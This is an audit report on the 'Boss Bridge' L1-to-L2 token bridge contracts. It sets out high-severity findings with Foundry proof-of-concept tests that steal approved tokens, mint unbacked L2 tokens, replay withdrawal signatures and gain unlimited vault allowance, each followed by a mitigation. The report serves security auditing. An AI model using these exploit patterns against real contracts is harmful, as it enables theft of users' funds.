Boss Bridge Audit Report

Version 1.0

Lance Addison

December 30, 2024

Boss Bridge Audit Report

Lance Addison

December 30, 2024

Prepared by: Cyfrin Lead Auditors: - Lance Addison

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] Users that give token approvals to `L1BossBridge` may have those tokens stolen
    * [H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens
    * [H-3] Lack of replay protection in `withdrawTokensToL1` allows the signature to be used multiple times to call withdraw
    * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

    * [H5] The `CREATE` opcode on ZKSync Era is slightly different than on Ethereum Mainnet, so a token cannot be created
  - Informational
    * [I-1] State variable could be declared constant
    * [I-2] State variable could be declared immutable
    * [I-3] `L1BossBridge::depositTokensToL2` is not following CEI, which is not a best practice
    * [I-4] Unsafe ERC20 Operations should not be used
    * [I-5] `public` functions not used internally could be marked `external`

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2. It includes a bridge which allows users to deposit tokens, which are held in a secure vault on L1. Successful deposits trigger an event that their off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

Lance Addison makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

I enjoyed auditing this codebase and learning about both lower level calls using assembly and cryptographic signatures.

Issues found

Severity	Number of issues found
High	5
Medium	0
Low	0
Gas	0
Info	5
Total	10

Findings

High

[H-1] Users that give token approvals to `L1BossBridge` may have those tokens stolen

Description: The `depositTokensToL2` function allows anyone to call it with a from address for any account that has approved tokens tot the bridge.

Impact: A malicious user could call `depositTokensToL2` with the address of someone who approved tokens to the bridge. This would lock their tokens in the vault and send the equivalent amount of tokens to the attacker on the L2 network (if the attacker specified their address in the `l2Recipient` parameter) stealing the honest users funds.

Proof of Concept:

Place the following code in the `L1tokenBridge.t.sol` file:

```
    function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);
        vm.stopPrank();

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
```

```
    }
```

Recommended Mitigation: Consider changing the `depositTokensToL2` function so that the user can't specify the from address.

```
-   function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description: In the `depositTokensToL2` function users are allowed to specify the from address. Since the vault contract gives the bridge infinite approvals this allows an attacker to call the `depositTokensToL2` function with the from address as the vault contract and transfer tokens to themself or the vault contract itself. This would trigger the `Deposit` event any amount of times, minting unbacked tokens on the L2.

Impact: An infinite amount of unbacked tokens can be minted on the L2.

Proof of Concept:

Place the following code in the `L1TokenBridge.t.sol` file:

```
    function testCanTransferFromVaultToAttacker() public {
        address attacker = makeAddr("attacker");

        // assume the vault already holds some tokens
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);
```

```

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation: As suggested in H-1 consider changing the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows the signature to be used multiple times to call withdraw

Description: Users can call either the `sendToL1` function, or the `withdrawTokensToL1` function. These functions require the caller to send some withdraw data signed by an approved bridge operator. However, the signatures do not include any replay-protection mechanisms to prevent the caller from using the same signature multiple times to drain the vault.

Impact: The caller can use the same signature to drain the vault.

Proof of Concept:

Place the following code in the `L1TokenBridge.t.sol` file:

```
    function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), attacker, attackerInitialBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerInitialBalance);

        bytes memory message = abi.encode(address(token), 0, abi.
            encodeCall(IERC20.transferFrom, (address(vault), attacker,
            attackerInitialBalance)));

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message)))
            ;

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }
```

```
        vm.stopPrank();

        assertEq(token.balanceOf(attacker), attackerInitialBalance +
            vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Consider redesigning the withdraw mechanism using a nonce in the signature data so that it includes replay-protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge::sendToL1` function if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. This is because there are no restrictions on both the target or the calldata. Since the `L1BossBridge` contract owns the vault an attacker could submit a call that targets the vault and executes it's `approveTo` function passing the attackers address and increasing its allowance to the funds in the vault contract.

Impact: The attacker would be able to drain the vaults funds

Proof of Concept:

Place the following code in the `L1TokenBridge.t.sol` file:

```
    function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        // An attacker deposits tokens to L2. We do this under the
            assumption that the
        // bridge operator needs to see a valid deposit tx to then
            allow us to request a withdrawal.
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        // Under the assumption that the bridge operator doesn't
            validate bytes being signed
        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max)) // data
        );
```

```
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
            operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(
            uint256).max);
        token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
    }
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, sunc as the `L1Vault` contract.

[H5] The CREATE opcode on ZKSync Era is slightly different than on Ethereum Mainnet, so a token cannot be created

Description: Unlike on Ethereum Mainnet the `CREATE` opcode on ZKSync requires that the compiler is aware of contracts bytecode in advance. In the `TokenFactory::deployToken` function the bytecode was not declared in advance so it will not deploy the token as expected.

Impact: No tokens can be created on the ZKSync network

Proof of Concept:

The user tries to deploy a token using `TokenFactory::deployToken` but since the compiler was not made aware of the contracts bytecode in advance the function will not deploy the token as expected.

Recommended Mitigation: To fix this issue you should declare the bytecode prior to calling the `CREATE` opcode.

```
+   import { L1Token } from "./L1Token.sol";
.
.
.
    function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr) {
+       bytes memory contractBytecode = type(L1Token).creationCode;
        assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(
                contractBytecode))
        }
        s_tokenToAddress[symbol] = addr;
        emit TokenDeployed(symbol, addr);
    }
```

Informational

[I-1] State variable could be declared constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
    uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

[I-2] State variable could be declared immutable

State variables should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor.

1 Found Instances

- Found in src/L1Vault.sol Line: 13

```
    IERC20 public token;
```

[I-3] `L1BossBridge::depositTokensToL2` is not following CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
    function depositTokensToL2(address from, address l2Recipient,
       uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       emit Deposit(from, l2Recipient, amount);
        token.safeTransferFrom(from, address(vault), amount);

        // Our off-chain service picks up this event and mints the
           corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
    }
```

[I-4] Unsafe ERC20 Operations should not be used

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 99

```
                    abi.encodeCall(IERC20.transferFrom, (address(vault
                        ), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
            token.approve(target, amount);
```

[I-5] `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
        function deployToken(string memory symbol, bytes memory
            contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
        function getTokenAddressFromSymbol(string memory symbol)
            public view returns (address addr) {
```